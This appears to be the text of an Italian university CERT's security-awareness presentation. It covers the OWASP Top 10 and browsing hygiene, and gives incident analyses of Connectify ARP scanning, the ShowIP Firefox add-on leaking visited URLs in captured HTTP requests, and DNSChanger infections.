• Nella OWASP Top 10 2013 (https://www.owasp.org/images/c/c9/OWASP_Top_10_-_2013_-_Italiano.pdf) le categorie sono quasi tutte riconducibili ad errori di programmazione :-(

• Se siete programmatori dovete prevedere l'imprevedibile: dovete sempre controllare la "correttezza" del dato in ingresso. Su questo problema c'è letteratura dal 1980 :-((((.

• Nella Top 10 si legge:– Pensare positivo. Quando sarete pronti a smettere di cercare vulnerabilità e creare

controlli di sicurezza applicativi forti, OWASP ha prodotto la "Application Security Verification Standard" (ASVS) come guida su cosa verificare per le organizzazioni e i reviewer di applicazioni.

– Usare i tool saggiamente. Le vulnerabilità di sicurezza possono essere abbastanza complesse e seppellite in montagne di codice. In molti casi, l’approccio più conveniente per trovare ed eliminare queste debolezze è l’esperienza umana armata con buoni strumenti.

– Insistere. Concentratevi sul rendere la sicurezza parte integrante della cultura del gruppo di sviluppo della vostra organizzazione. Per saperne di più leggere "Open Software Assurance Maturity Model (SAMM)" e "The Rugged Handbook".”

Come si risolve il problema...

Super tecnologia?Qubes (https://www.qubes-os.org/)

La tecnologia è “sicura” se ne conoscete i limiti (cosapevolezza)

Qual'è la vostra percezione della sicurezza?

http://lifehacker.com/linux-security-distros-compared-tails-vs-kali-vs-qub-1658139404

- Linux Security Distros Compared: Tails vs. Kali vs. Qubes

…consigli per gli acquisti

Mantra per gli analisti della sicurezza....ma non solo per loro usate il buon senso rendete le cose semplici se volete lavorare nella sicurezza cercatevi un buon

avvocato e tenetevi informati anche dal punto di vista giuridico

tenete aggiornato il vostro “hardware” (la vostra conoscenza) e il vostro software

controllate la navigazione: javascript off o almeno sotto controllo via extension del browser (noscript, wot, adblock, ghostery). Meglio usare macchina virtuale non persistente (se compromessa finisce tutto quando la chiudo)

…consigli per gli acquisti 2

Mantra per gli analisti della sicurezza....ma non solo per loro non fidatevi mai delle reclame, siate "paranoici", siate hacker, vediamo in

dettaglio il perché:– Bollettino Informativo CERT “Quello che di solito non vediamo: connetify e

showip firefox plugin”

– Bollettino informativo CERT del 12/12/2011 riguardante la minaccia Malware downloaded-DNSchanger

– XcodeGhost• http://www.melablog.it/post/184099/xcodeghost-cose-e-come-proteggere-iphone-e-ipad• http://www.tomshw.it/news/app-store-infetto-identificate-almeno-50-app-che-contengon

o-il-malware-xcodeghost-70244• http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-p

hish-passwords-and-open-urls-though-infected-apps/• http://www.computerworld.com/article/2987274/apple-ios/xcodeghost-was-apple-neglige

nt.html• http://www.bbc.com/news/technology-34311203

– Kemoge• https://www.fireeye.com/blog/threat-research/2015/10/kemoge_another_mobi.html• http://www.theinquirer.net/inquirer/news/2433718/latest-android-adware-threat-is-

virtually-impossible-to-remove

Connetify e...

Connectify: Un uso interessante di questo programma è condividere una connettività internet o mobile. Se per esempio avete collegato il vostro portatile al cavo di rete ma volete che altri dispositivi wi-fi possano accedere alla stessa connessione potete usare connectify.

In Aprile un utente ci ha segnalato un problema di difficoltà a connettersi ad Almawifi. Nel caso particolare ci segnalava anche un intensa attività di arp visibile dalla sua macchina.. Come l'utente ci siamo collegati in Almawifi e abbiamo rilevato che l'intesa attività era un arpscan continuo di tutta la rete privata e proveniva da due ben precisi mac address.

Per darvi un idea dell'intensità, in meno di un secondo venivano inviate più di 200 richieste arp di questo tipo:

2012­04­11 15:16:38.011927 xx:xx:xx:xx:xx:xx ­> ff:ff:ff:ff:ff:ff ARP 60 Who has 10.110.13.235?  Tell xxx.xxx.xxx.xxx

al solito le prime due colonne definiscono il momento in cui viene rilevato l'evento. A seguire il mac address (da noi offuscato) della macchina incriminata. Poi i destinatari della richiesta arp. Essendo il mac address di destinazione composto da sole F, vuol dire che la richiesta deve arrivare a tutti i dispositivi connessi, ovviamente risponderà solo l'interessato. Poi troviamo la classificazione del tipo di comunicazione e la specificità della richiesta. L'host incriminato richiede il mac address dell'IP 10.110.13.235. Questa richiesta veniva fatta per tutti gli IP che appartenevano al dominio di broadcast assegnato dal DHCP 10.110.0.0/16.

Dopo aver identificato gli utenti responsabili di questa attività, abbiamo cercato di intervistarli per capire se era una attività voluta o era l'effetto di una compromissione. Dal colloquio telefonico con l'unico utente che siamo riusciti a raggiungere è emerso che:

-l'attività non era voluta e non sapeva quindi darne spiegazione

-l'unica "anomalia" era il software connectify attivo e una volta "spento" si interrompeva anche l'attività.

Non ci è stato possibile riprodurre la situazione e quindi non possiamo imputare l'anomalia ad un malfunzionamento di connectify. Anche il secondo utente non generava più l'anomalia se connectify era spento.

Quello che abbiamo capito è che Connectify, per un qualche problema (malfunzionamento/compromissione di connectify/SO), proprio per "promuovere" la connettività tra i vari dispositivi, metteva in comunicazione i vari scenari di connettività (wireless PC, wireless di share di connectify per i dispositivi mobili personali) nel modo "sbagliato".

… ShowIP Firefox plugin

ShowIP: extension di Mozilla Firefox (https://addons.mozilla.org/en-US/firefox/addon/showip/)

Descrizione dal sito:

"Show the IP address(es) of the current page in the status bar. It also allows querying custom information services by IP (right click) and hostname (left click), like whois, netcraft, etc. Additionally you can copy the IP address to the clipboard."

A fianco del pulsante di installazione trovate anche "Privacy Policy", ho provato a leggerla e si fa riferimento alla sola registrazione di dati utente per statistiche, non sembra nulla di preoccupante.

Noi del CERT siamo "appassionati" lettori di naked security di sophos e ci è caduto l'occhio su quest'articolo:

http://nakedsecurity.sophos.com/2012/05/01/privacy-concern-showip-firefox-add-on/

… ShowIP Firefox plugin 2

T 2012/05/02 10:01:28.000236 137.204.xxx.xxx:47430 ­> 184.73.178.24:80 [AP]

GET /getdata/?loc=https%3A%2F%2Fmail.unibo.it%2Fowa

%2Fxxxxxxx.xxxxxxxb=f&p=s&v=1.3&refresh=1 HTTP/1.1.

Host: api.ip2info.org.

User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 

Firefox/11.0.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.

Accept­Language: it­it,it;q=0.8,en­us;q=0.5,en;q=0.3.

Accept­Encoding: gzip, deflate.

Connection: keep­alive.

.

… ShowIP Firefox plugin 3

T 2012/05/02 17:06:32.165776 137.204.xxx.xxx:52104 ­> 184.73.178.24:80 [AP]

GET /getdata/?loc=https%3A%2F%2Fxxxxxxxx.unibo.it%2Fxxxxxxxxx%2Fcgi­bin

%2Ftac.cgi&b=f&p=s&v=1.3&refresh=1 HTTP/1.1.

Host: api.ip2info.org.

User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 

Firefox/11.0.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.

Accept­Language: it­it,it;q=0.8,en­us;q=0.5,en;q=0.3.

Accept­Encoding: gzip, deflate.

Connection: keep­alive.

.

Questo è il dettaglio di due trasmissioni, che abbiamo oscurato, fatte dal plugin di showip versione >= 1.3 al sito api.ip2info.org.

Le informazioni interessanti sono contenute nelle righe che iniziano con la stringa GET. All'host api.ip2info.org viene fatta una GET. La cosa sospetta la trovate dopo la stringa loc: è l'URL del servizio a cui accede l'utente. In sintesi viene inviata a quell'host l'attività di navigazione dell'utente. Per "mostrare" l'IP è più che sufficiente il dominio e non l'intera URL. Violazione della privacy?

DNSChanger

Le macchine segnalate hanno mostrato query dns dirette a due IP in particolare. Le stesse macchine avevano subito una reimpostazione dei dns.

Abbiamo provato a simulare il comportamento tramite macchina virtuale XP non persistente (l'immagine viene eliminata dopo l'uso). Quello che è risultato subito evidente è stato:

• la reimpostazioni dei dns in maniera nascosta all'utente

• modificate diverse dll

• installazione di una versione .NET 2.0 vulnerabile

• installazione di power offer

• reboot della macchina.

Alcuni utenti ci hanno riferito che:

• la reimpostazione dei dns non era avvenuta ma analizzando il traffico di rete le query dns erano redirezionate

• la modifica dei dns su windows 7 non richiedeva il reboot

DNSChanger 2

Abbiamo infatti incrociato gli IP che facevano query verso i dns di cui sopra con i dati provenienti dal NIDS che rivelano lo scaricamento di un eseguibile. Poi ci siamo occupati di scaricare e verificare quei file con virustotal. A questo punto verrebbe da pensare che una soluzione potrebbe essere quella di isolare la comunicazione con certi IP, ma è sicuramente la più sbagliata per il seguente motivo: le macchine compromesse sono una fonte di guadagno per il bot master (il loro controllore) e quindi la compromissione è fatta in modo da garantire una sorta di alta affidabilità. Quindi bloccando quegli IP ci togliamo la possibilità di identificare in modo sicuro le macchine compromesse perché inizieranno ad utilizzare altri dns.

DNSChanger 3

Perché l'antivirus non ha funzionato? Il problema non è la marca dell'antivirus, ma piuttosto il fatto che gli antivirus reagiscono al malware che conoscono: quello definito nelle signature.

Oppure utilizzano delle euristiche per identificare il comportamento malevolo. In risposta a ciò esistono numerose tecniche di offuscamento che permettono di generare del codice non più identificabiledall'antivirus.

I produttori antivirus stimano il loro ritardo nei confronti dell'identificazione del malware in una settimana, a volte il divario è maggiore. Inoltre come noi teniamo sotto controllo le attività malevole, loro tengono d'occhio noi per far sì che i loro attacchi abbiano la maggio efficacia. Sanno che antivirus abbiamo adottato, possono scoprirlo o visitando antivirus.unibo.it o facendo statistiche sulle macchine già compromesse, e quindi usano malware che non verrà identificato da quell'antivirus. Farlo è abbastanza semplice e gratuito basta usare virustotal.com o servizi analoghi che risultano molto utili anche a noi.

In sintesi stimiamo che l'efficacia dell'antivirus sia intorno al 30% dei casi (comunque utile), ma sopratutto è necessario per il decreto sulla privacy. Non ha senso usarlo in un ambiente segnalato come compromesso: la scansione antivirus su di una macchina segnalata, qualunque esito abbia è inattendibile. La remediation (pulizia tramite antivirus di una macchina compromessa) è inefficace.

…consigli per gli acquisti 3

Mantra per gli analisti della sicurezza....ma non solo per loro

non fidatevi mai delle reclame, siate "paranoici", siate hacker, vediamo in dettaglio il perché:

– Skype supernode– Windows 10: feature o falle?

• download degli aggiornamenti (http://www.windowsblogitalia.com/2015/08/guida-per-bloccare-la-distribuzione-p2p-degli-aggiornamenti-in-windows-10/)

• condivisione delle credenziali di accesso wi-fi (http://it.ibtimes.com/windows-10-condivide-le-password-del-wi-fi-come-disattivare-wi-fi-sense-1411439)

…consigli per gli acquisti 4

Mantra per gli analisti della sicurezza....ma non solo per loro

fate analisi del rischio formazione personale e sopratutto degli

utenti

Chi c'è dietro tutto questo

Hacktivism: anonymous, lulzsec, terrorismo...

Governi: sempre più attivi, le cyberwar tra stati sono in atto da tempo

Cybercrime: il crimine organizzato ha scoperto la rete e sa come sfruttarla

“Armi” usate

CyberWeapon: Botnet, Internet of Things, BYOD, Unmanned vehicle

Bibliografia

Network Security Monitor: “The practice of network security monitoring. Understanding Incident Detection and Response” - Richard Bejtlich – No Starch Press

Enisa (http://www.enisa.europa.eu/act/res/botnets/botnets-measurement-detection-disinfection-and-defence)

MalwareMustDie

Shadowserver

Cymru

SRI

OWASP

Simone Bonetti, Franco SilvestroCERT-UniBo

ASIA - CeSIA

www.unibo.it